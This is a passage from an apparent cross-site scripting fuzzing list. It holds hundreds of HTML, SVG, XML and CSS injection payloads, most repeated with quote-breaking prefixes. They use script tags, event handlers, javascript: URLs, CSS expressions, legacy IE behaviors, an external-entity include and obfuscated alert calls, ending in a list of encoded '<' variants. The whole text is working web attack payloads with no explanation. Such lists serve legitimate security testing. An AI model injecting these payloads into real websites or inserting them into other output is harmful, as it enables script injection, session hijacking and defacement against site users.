href=\"[a]java[b]script[c]:alert(1)\">XXX</a>\r\n\"><a href=\"[a]java[b]script[c]:alert(1)\">XXX</a>\r\n'><a href=\"[a]java[b]script[c]:alert(1)\">XXX</a>\r\n<img src=\"x` `<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\"` `>\r\n<img src onerror /\" '\"= alt=alert(1)//\">\r\n\"><img src onerror /\" '\"= alt=alert(1)//\">\r\n'><img src onerror /\" '\"= alt=alert(1)//\">\r\n<title onpropertychange=alert(1)></title><title title=></title>\r\n\"><title onpropertychange=alert(1)></title><title title=></title>\r\n'><title onpropertychange=alert(1)></title><title title=></title>\r\n<a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=alert(1)></a>\">\r\n\"><a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=alert(1)></a>\">\r\n'><a href=http://foo.bar/#x=`y></a><img alt=\"`><img src=x:x onerror=alert(1)></a>\">\r\n<!a foo=x=`y><img alt=\"`><img src=x:x onerror=alert(2)//\">\r\n\"><!a foo=x=`y><img alt=\"`><img src=x:x onerror=alert(2)//\">\r\n'><!a foo=x=`y><img alt=\"`><img src=x:x onerror=alert(2)//\">\r\n<?a foo=x=`y><img alt=\"`><img src=x:x onerror=alert(3)//\">\r\n\"><?a foo=x=`y><img alt=\"`><img src=x:x onerror=alert(3)//\">\r\n'><?a foo=x=`y><img alt=\"`><img src=x:x onerror=alert(3)//\">\r\n<!--[if]><script>alert(1)</script -->\r\n\"><!--[if]><script>alert(1)</script -->\r\n'><!--[if]><script>alert(1)</script -->\r\n<!--[if<img src=x onerror=alert(2)//]> -->\r\n\"><!--[if<img src=x onerror=alert(2)//]> -->\r\n'><!--[if<img src=x onerror=alert(2)//]> -->\r\n<!-- `<img/src=xx:xx onerror=alert(1)//--!>\r\n\"><!-- `<img/src=xx:xx onerror=alert(1)//--!>\r\n'><!-- `<img/src=xx:xx onerror=alert(1)//--!>\r\n<xmp> <% </xmp> <img alt='%></xmp><img src=xx:x onerror=alert(1)//'>  <script> x='<%' </script> %>/ alert(2) </script>  XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>\r\n\"><xmp> <% </xmp> <img alt='%></xmp><img src=xx:x onerror=alert(1)//'>  <script> x='<%' </script> %>/ alert(2) </script>  XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>\r\n'><xmp> <% </xmp> <img alt='%></xmp><img src=xx:x onerror=alert(1)//'>  <script> x='<%' </script> %>/ alert(2) </script>  XXX <style> *['<!--']{} </style> -->{} *{color:red}</style>\r\n<frameset onload=alert(1)>\r\n\"><frameset onload=alert(1)>\r\n'><frameset onload=alert(1)>\r\n<table background=\"javascript:alert(1)\"></table>\r\n\"><table background=\"javascript:alert(1)\"></table>\r\n'><table background=\"javascript:alert(1)\"></table>\r\n<!--<img src=\"--><img src=x onerror=alert(1)//\">\r\n\"><!--<img src=\"--><img src=x onerror=alert(1)//\">\r\n'><!--<img src=\"--><img src=x onerror=alert(1)//\">\r\n<comment><img src=\"</comment><img src=x onerror=alert(1))//\">\r\n\"><comment><img src=\"</comment><img src=x onerror=alert(1))//\">\r\n'><comment><img src=\"</comment><img src=x onerror=alert(1))//\">\r\n<svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(2)//\"></svg>\r\n\"><svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(2)//\"></svg>\r\n'><svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(2)//\"></svg>\r\n<style><img src=\"</style><img src=x onerror=alert(1)//\">\r\n\"><style><img src=\"</style><img src=x onerror=alert(1)//\">\r\n'><style><img src=\"</style><img src=x onerror=alert(1)//\">\r\n<li style=list-style:url() onerror=alert(1)></li>\r\n\"><li style=list-style:url() onerror=alert(1)></li>\r\n'><li style=list-style:url() onerror=alert(1)></li>\r\n<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n\"><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n'><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>\r\n\"><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n\"><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n'><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>\r\n'><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n\"><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n'><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>\r\n<a style=\"-o-link:'javascript:alert(1)';-o-link-source:current\">X</a>\r\n\"><a style=\"-o-link:'javascript:alert(1)';-o-link-source:current\">X</a>\r\n'><a style=\"-o-link:'javascript:alert(1)';-o-link-source:current\">X</a>\r\n<style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>\r\n\"><style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>\r\n'><style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>\r\n<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d\r\n\"><link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d\r\n'><link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d\r\n<style>@import \"data:,*%7bx:expression(write(1))%7D\";</style>\r\n\"><style>@import \"data:,*%7bx:expression(write(1))%7D\";</style>\r\n'><style>@import \"data:,*%7bx:expression(write(1))%7D\";</style>\r\n<a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>\r\n\"><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>\r\n'><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>\r\n<style>*[{}@import'test.css?]{color: green;}</style>X\r\n\"><style>*[{}@import'test.css?]{color: green;}</style>X\r\n'><style>*[{}@import'test.css?]{color: green;}</style>X\r\n* {-o-link:'javascript:alert(1)';-o-link-source: current;}\r\n<div style=\"font-family:'foo[a];color:red;';\">XXX</div>\r\n\"><div style=\"font-family:'foo[a];color:red;';\">XXX</div>\r\n'><div style=\"font-family:'foo[a];color:red;';\">XXX</div>\r\n<div style=\"font-family:foo}color=red;\">X\r\n\"><div style=\"font-family:foo}color=red;\">X\r\n'><div style=\"font-family:foo}color=red;\">XXX</div>\r\n\"><div style=\"font-family:foo}color=red;\">X\r\n\"><div style=\"font-family:foo}color=red;\">X\r\n'><div style=\"font-family:foo}color=red;\">XXX</div>\r\n'><div style=\"font-family:foo}color=red;\">X\r\n\"><div style=\"font-family:foo}color=red;\">X\r\n'><div style=\"font-family:foo}color=red;\">XXX</div>\r\n<div style=\"[a]color[b]:[c]red\">XXX</div>\r\n\"><div style=\"[a]color[b]:[c]red\">XXX</div>\r\n'><div style=\"[a]color[b]:[c]red\">XXX</div>\r\n<div style=\"\\63&#9\\06f&#10\\0006c&#12\\00006F&#13\\R:\\000072 Ed;color\\0\\bla:yellow\\0\\bla;col\\0\\00 \\&#xA0or:blue;\">XXX</div>\r\n\"><div style=\"\\63&#9\\06f&#10\\0006c&#12\\00006F&#13\\R:\\000072 Ed;color\\0\\bla:yellow\\0\\bla;col\\0\\00 \\&#xA0or:blue;\">XXX</div>\r\n'><div style=\"\\63&#9\\06f&#10\\0006c&#12\\00006F&#13\\R:\\000072 Ed;color\\0\\bla:yellow\\0\\bla;col\\0\\00 \\&#xA0or:blue;\">XXX</div>\r\n<// style=x:expression\\28write(1)\\29>\r\n\"><// style=x:expression\\28write(1)\\29>\r\n'><// style=x:expression\\28write(1)\\29>\r\n<style>*{x:expression(write(1))}</style>\r\n\"><style>*{x:expression(write(1))}</style>\r\n'><style>*{x:expression(write(1))}</style>\r\n<div style=\"background:url(http://foo.f/f oo/;color:red/*/foo.jpg);\">X</div>\r\n\"><div style=\"background:url(http://foo.f/f oo/;color:red/*/foo.jpg);\">X</div>\r\n'><div style=\"background:url(http://foo.f/f oo/;color:red/*/foo.jpg);\">X</div>\r\n<div style=\"list-style:url(http://foo.f)\\20url(javascript:alert(1));\">X</div>\r\n\"><div style=\"list-style:url(http://foo.f)\\20url(javascript:alert(1));\">X</div>\r\n'><div style=\"list-style:url(http://foo.f)\\20url(javascript:alert(1));\">X</div>\r\n<div id=d><div style=\"font-family:'sans\\27\\2F\\2A\\22\\2A\\2F\\3B color\\3Ared\\3B'\">X</div></div> <script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>\r\n\"><div id=d><div style=\"font-family:'sans\\27\\2F\\2A\\22\\2A\\2F\\3B color\\3Ared\\3B'\">X</div></div> <script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>\r\n'><div id=d><div style=\"font-family:'sans\\27\\2F\\2A\\22\\2A\\2F\\3B color\\3Ared\\3B'\">X</div></div> <script>with(document.getElementById(\"d\"))innerHTML=innerHTML</script>\r\n<div style=\"background:url(/f#[a]oo/;color:red/*/foo.jpg);\">X</div>\r\n\"><div style=\"background:url(/f#[a]oo/;color:red/*/foo.jpg);\">X</div>\r\n'><div style=\"background:url(/f#[a]oo/;color:red/*/foo.jpg);\">X</div>\r\n<div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n\"><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n'><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X</div>\r\n\"><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n\"><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n'><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X</div>\r\n'><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n\"><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X\r\n'><div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X</div>\r\n<x style=\"background:url('x[a];color:red;/*')\">XXX</x>\r\n\"><x style=\"background:url('x[a];color:red;/*')\">XXX</x>\r\n'><x style=\"background:url('x[a];color:red;/*')\">XXX</x>\r\n<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>\r\n</ScrIpt><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>\r\n\"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>\r\n</ScrIpt><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>\r\n'><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>\r\n</ScrIpt><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>\r\n<script>({0:#0=alert/#0#/#0#(1)})</script>\r\n</ScrIpt><script>({0:#0=alert/#0#/#0#(1)})</script>\r\n\"><script>({0:#0=alert/#0#/#0#(1)})</script>\r\n</ScrIpt><script>({0:#0=alert/#0#/#0#(1)})</script>\r\n'><script>({0:#0=alert/#0#/#0#(1)})</script>\r\n</ScrIpt><script>({0:#0=alert/#0#/#0#(1)})</script>\r\n<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>\r\n</ScrIpt><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>\r\n\"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>\r\n</ScrIpt><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>\r\n'><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>\r\n</ScrIpt><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>\r\n<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>\r\n</ScrIpt><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>\r\n\"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>\r\n</ScrIpt><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>\r\n'><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>\r\n</ScrIpt><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>\r\n<script>history.pushState(0,0,'/i/am/somewhere_else');</script>\r\n</ScrIpt><script>history.pushState(0,0,'/i/am/somewhere_else');</script>\r\n\"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>\r\n</ScrIpt><script>history.pushState(0,0,'/i/am/somewhere_else');</script>\r\n'><script>history.pushState(0,0,'/i/am/somewhere_else');</script>\r\n</ScrIpt><script>history.pushState(0,0,'/i/am/somewhere_else');</script>\r\n<script src=\"#\">{alert(1)}</script>;1\r\n\"><script src=\"#\">{alert(1)}</script>;1\r\n'><script src=\"#\">{alert(1)}</script>;1\r\n+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);\r\n<b><script<b></b><alert(1)</script </b></b>\r\n\"><b><script<b></b><alert(1)</script </b></b>\r\n'><b><script<b></b><alert(1)</script </b></b>\r\n<script<{alert(1)}/></script </>\r\n\"><script<{alert(1)}/></script </>\r\n'><script<{alert(1)}/></script </>\r\n0?<script>Worker(\"#\").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))\r\n<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>\r\n</ScrIpt><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>\r\n\"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>\r\n</ScrIpt><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>\r\n'><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>\r\n</ScrIpt><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>\r\n<script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>\r\n</ScrIpt><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>\r\n\"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>\r\n</ScrIpt><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>\r\n'><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>\r\n</ScrIpt><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>\r\n<svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg\r\n\"><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg\r\n'><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg\r\n<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script></svg>\r\n<svg onload=\"javascript:alert(1)\" xmlns=\"http://www.w3.org/2000/svg\"></svg>\r\n\"><svg onload=\"javascript:alert(1)\" xmlns=\"http://www.w3.org/2000/svg\"></svg>\r\n'><svg onload=\"javascript:alert(1)\" xmlns=\"http://www.w3.org/2000/svg\"></svg>\r\n<iframe src=\"data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03\"></iframe>\r\n\"><iframe src=\"data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03\"></iframe>\r\n'><iframe src=\"data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03\"></iframe>\r\n<svg><style>&lt;img/src=x onerror=alert(1)// </b>\r\n\"><svg><style>&lt;img/src=x onerror=alert(1)// </b>\r\n'><svg><style>&lt;img/src=x onerror=alert(1)// </b>\r\n<?xml-stylesheet href=\"javascript:alert(1)\"?><root/>\r\n\"><?xml-stylesheet href=\"javascript:alert(1)\"?><root/>\r\n'><?xml-stylesheet href=\"javascript:alert(1)\"?><root/>\r\n<script xmlns=\"http://www.w3.org/1999/xhtml\">&#x61;l&#x65;rt&#40;1)</script>\r\n\"><script xmlns=\"http://www.w3.org/1999/xhtml\">&#x61;l&#x65;rt&#40;1)</script>\r\n'><script xmlns=\"http://www.w3.org/1999/xhtml\">&#x61;l&#x65;rt&#40;1)</script>\r\n<!DOCTYPE x[<!ENTITY x SYSTEM \"http://127.0.0.1:3555/xss_serve_payloads/X.html\">]><y>&x;</y>\r\n\"><!DOCTYPE x[<!ENTITY x SYSTEM \"http://127.0.0.1:3555/xss_serve_payloads/X.html\">]><y>&x;</y>\r\n'><!DOCTYPE x[<!ENTITY x SYSTEM \"http://127.0.0.1:3555/xss_serve_payloads/X.html\">]><y>&x;</y>\r\n<script xmlns=\"http://www.w3.org/1999/xhtml\">alert(1)</script>\r\n\"><script xmlns=\"http://www.w3.org/1999/xhtml\">alert(1)</script>\r\n'><script xmlns=\"http://www.w3.org/1999/xhtml\">alert(1)</script>\r\n<?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(2));%7d\"?>\r\n\"><?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(2));%7d\"?>\r\n'><?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(2));%7d\"?>\r\n<?xml-stylesheet type=\"text/xsl\" href=\"#\" ?> <stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\"> <template match=\"/\"> <eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(1)</eval> <if expr=\"new ActiveXObject('htmlfile').parentWindow.alert(2)\"></if> </template> </stylesheet>\r\n\"><?xml-stylesheet type=\"text/xsl\" href=\"#\" ?> <stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\"> <template match=\"/\"> <eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(1)</eval> <if expr=\"new ActiveXObject('htmlfile').parentWindow.alert(2)\"></if> </template> </stylesheet>\r\n'><?xml-stylesheet type=\"text/xsl\" href=\"#\" ?> <stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\"> <template match=\"/\"> <eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(1)</eval> <if expr=\"new ActiveXObject('htmlfile').parentWindow.alert(2)\"></if> </template> </stylesheet>\r\n<!ENTITY x \"&#x3C;html:img&#x20;src='x'&#x20;xmlns:html='http://www.w3.org/1999/xhtml'&#x20;onerror='alert(1)'/&#x3E;\">\r\n\"><!ENTITY x \"&#x3C;html:img&#x20;src='x'&#x20;xmlns:html='http://www.w3.org/1999/xhtml'&#x20;onerror='alert(1)'/&#x3E;\">\r\n'><!ENTITY x \"&#x3C;html:img&#x20;src='x'&#x20;xmlns:html='http://www.w3.org/1999/xhtml'&#x20;onerror='alert(1)'/&#x3E;\">\r\nX<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >\r\n1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;`>\r\n1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(1)&gt;>\r\n1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#X></vmlframe>\r\n<xml> <rect style=\"height:100%;width:100%\" id=\"X\" onmouseover=\"alert(1)\" strokecolor=\"white\" strokeweight=\"2000px\" filled=\"false\" /> </xml>\r\n\"><xml> <rect style=\"height:100%;width:100%\" id=\"X\" onmouseover=\"alert(1)\" strokecolor=\"white\" strokeweight=\"2000px\" filled=\"false\" /> </xml>\r\n'><xml> <rect style=\"height:100%;width:100%\" id=\"X\" onmouseover=\"alert(1)\" strokecolor=\"white\" strokeweight=\"2000px\" filled=\"false\" /> </xml>\r\n1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>\r\n<a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(1)\">XXX</a>\r\n\"><a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(1)\">XXX</a>\r\n'><a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(1)\">XXX</a>\r\n<x style=\"behavior:url(test.sct)\">\r\n\"><x style=\"behavior:url(test.sct)\">\r\n'><x style=\"behavior:url(test.sct)\">\r\n<SCRIPTLET> <IMPLEMENTS Type=\"Behavior\"></IMPLEMENTS><SCRIPT Language=\"javascript\">alert(1)</SCRIPT></SCRIPTLET>\r\n\"><SCRIPTLET> <IMPLEMENTS Type=\"Behavior\"></IMPLEMENTS><SCRIPT Language=\"javascript\">alert(1)</SCRIPT></SCRIPTLET>\r\n'><SCRIPTLET> <IMPLEMENTS Type=\"Behavior\"></IMPLEMENTS><SCRIPT Language=\"javascript\">alert(1)</SCRIPT></SCRIPTLET>\r\n<xml id=\"X\" src=\"test.htc\"></xml><label dataformatas=\"html\" datasrc=\"#X\" datafld=\"payload\"></label>\r\n\"><xml id=\"X\" src=\"test.htc\"></xml><label dataformatas=\"html\" datasrc=\"#X\" datafld=\"payload\"></label>\r\n'><xml id=\"X\" src=\"test.htc\"></xml><label dataformatas=\"html\" datasrc=\"#X\" datafld=\"payload\"></label>\r\n<?xml version=\"1.0\"?> x><payload><![CDATA[<img src=x onerror=alert(1)>]]></payload></x>\r\n\"><?xml version=\"1.0\"?> x><payload><![CDATA[<img src=x onerror=alert(1)>]]></payload></x>\r\n'><?xml version=\"1.0\"?> x><payload><![CDATA[<img src=x onerror=alert(1)>]]></payload></x>\r\n<?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(write(1))\"/>\r\n\"><?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(write(1))\"/>\r\n'><?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(write(1))\"/>\r\nobject id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object> <object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"alert(1)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>\r\nclass X {public static function main() { flash.Lib.getURL(new flash.net.URLRequest(flash.Lib._root.url||\"javascript:alert(1)\"),flash.Lib._root.name||\"_top\"); }}\r\n<div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>\r\n\"><div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>\r\n'><div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>\r\n<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\r\n\"><body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\r\n'><body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\r\nX<form id=test onforminput=javascript:alert(1)><input></form>\r\nX<form id=test><input></form><button form=test onformchange==javascript:alert(1)>X\r\n<input onblur=write(1) autofocus><input autofocus>\r\n\"><input onblur=write(1) autofocus><input autofocus>\r\n'><input onblur=write(1) autofocus><input autofocus>\r\n<video onerror=\"javascript:alert(1)\"><source>\r\n\"><video onerror=\"javascript:alert(1)\"><source>\r\n'><video onerror=\"javascript:alert(1)\"><source>\r\n<q/oncut=open()>\r\n\"><q/oncut=open()>\r\n'><q/oncut=open()>\r\n<marquee<marquee/onstart=confirm(1)>\r\n\"><marquee/onstart=confirm(1)>\r\n'><marquee/onstart=confirm(1)>/onstart=confirm(1)>\r\n<body language=vbsonload=alert-1\r\n\"><body language=vbsonload=alert-1\r\n'><body language=vbsonload=alert-1\r\n<command onmouseover=\"\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x63\\x6F\\x6E\\x66\\x69\\x72\\x6D\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B\">Save</command>\r\n\"><command onmouseover=\"\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x63\\x6F\\x6E\\x66\\x69\\x72\\x6D\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B\">Save</command>\r\n'><command onmouseover=\"\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x63\\x6F\\x6E\\x66\\x69\\x72\\x6D\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B\">Save</command>\r\n<q/oncut=alert(1)>\r\n\"><q/oncut=alert(1)>\r\n'><q/oncut=alert(1)>\r\neval(\"aler\"+(!![]+[])[+[]])(\"X\")\r\nwindow[\"alert\"](\"X\")\r\nthis['ale'+(!![]+[])[-~[]]+(!![]+[])[+[]]]()\r\n< %3C &lt &lt; &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 &#60; &#060; &#0060; &#00060; &#000060; &#0000060; &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; &#x000003c; &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; \\x3c \\x3C \\u003c \\u003C\r\n\">< %3C &lt &lt; &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 &#60; &#060; &#0060; &#00060; &#000060; &#0000060; &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; &#x000003c; &#X3c &#X03c &#X003c &#X0003c &#X00003c &#X000003c &#X3c; &#X03c; &#X003c; &#X0003c; &#X00003c; &#X000003c; &#x3C &#x03C &#x003C &#x0003C &#x00003C &#x000003C &#x3C; &#x03C; &#x003C; &#x0003C; &#x00003C; &#x000003C; &#X3C &#X03C &#X003C &#X0003C &#X00003C &#X000003C &#X3C; &#X03C; &#X003C; &#X0003C; &#X00003C; &#X000003C; \\x3c \\x3C \\u003c \\u003C\r\n'>< %3C &lt &lt; &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 &#60; &#060; &#0060; &#00060; &#000060; &#0000060; &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c &#x3c; &#x03c; &#x003c; &#x0003c; &#x00003c; 